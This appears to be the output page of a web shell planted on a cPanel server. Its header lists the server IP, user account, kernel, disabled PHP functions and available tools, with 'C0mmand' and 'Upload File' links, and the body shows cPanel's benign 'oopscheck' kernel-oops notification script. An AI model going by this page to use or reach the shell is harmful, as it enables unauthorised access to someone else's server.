Server IP : 92.205.26.207 / Your IP : 216.73.216.16 Web Server : Apache System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64 User : zikryat ( 1002) PHP Version : 8.3.23 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /scripts/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/oopscheck Copyright 2022 cPanel, L.L.C. # All rights reserved. # [email protected] http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited use strict; my $inoops = 0; my @DMESG = split( /\n/, `dmesg` ); my $oops = ''; foreach (@DMESG) { s/[\n\r]//g; if ( /^EIP/ || ( ( /invalid operand: /i || /Unable to handle/i ) && !/^PCI/ ) ) { $inoops = 1; } if ($inoops) { $oops .= $_ . "\n"; } if (/^code:/i) { $inoops = 0; } } # Uncomment to test # $oops = "test"; if ( length $oops ) { require Cpanel::Notify; Cpanel::Notify::notification_class( 'class' => 'Check::Oops', 'application' => 'Check::Oops', 'constructor_args' => [ 'origin' => 'oopscheck', 'attach_files' => [ { 'name' => 'oops_log.txt', 'content' => \$oops } ], ] ); print "Oops detected .. sent email\n"; }